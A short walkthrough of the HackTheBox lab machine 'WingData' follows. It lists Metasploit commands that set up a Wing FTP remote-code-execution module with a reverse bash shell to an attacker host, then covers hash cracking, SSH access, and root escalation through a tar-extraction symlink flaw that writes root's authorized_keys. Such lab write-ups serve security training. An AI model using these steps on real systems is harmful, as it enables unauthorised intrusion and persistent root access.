Machine: WingData
Platform: HackTheBox
Difficulty: Easy
OS: Linux
This machine focuses on exploiting a vulnerable FTP Server to gain initial access, followed by credential extraction and privilege escalation via a misconfigured sudo backup script.
Launch Metasploit and select the appropriate exploit module.
msfconsole
use exploit/multi/http/wingftp_null_byte_rce
set RHOSTS ftp.wingdata.htb
set PAYLOAD cmd/unix/reverse_bash
set LHOST $local_ip
set LPORT $local_port
run
A basic TCP reverse shell was spawned to transition from command execution to an interactive session.
Wing FTP Server uses a static salt value (“WingFTP”) in its password hashing scheme, as evidenced by the extracted hash format and corroborated by the official documentation.
$extracted_hash:WingFTP
The hash was successfully cracked using Hashcat (mode 1410), indicating a salted SHA-256 scheme rather than a raw hash format
SSH into the target as user wacky.
ssh wacky@wingdata.htb
Retrieve user flag
cat user.txt
Privilege escalation
Check allowed sudo permissions.
sudo -l
Analyze script behavior
cat /opt/backup_clients/restore_backup_clients.py
The backup script allowed arbitrary archive processing as root, enabling symlink-based path traversal to write files outside the intended directory. This issue is caused by insecure handling of user-controlled TAR archives via tar.extractall() without enforcing proper path sanitization or restricting symbolic link resolution. Although the script performs strict validation on input parameters such as the backup filename and restore tag, the contents of the archive remain untrusted. By crafting malicious TAR structures, an attacker can exploit path traversal sequences and symbolic links to escape the extraction directory, resulting in arbitrary file write as root and ultimately enabling privilege escalation.
The exploit targets the root SSH authorized_keys file, allowing persistent root access via a controlled SSH key.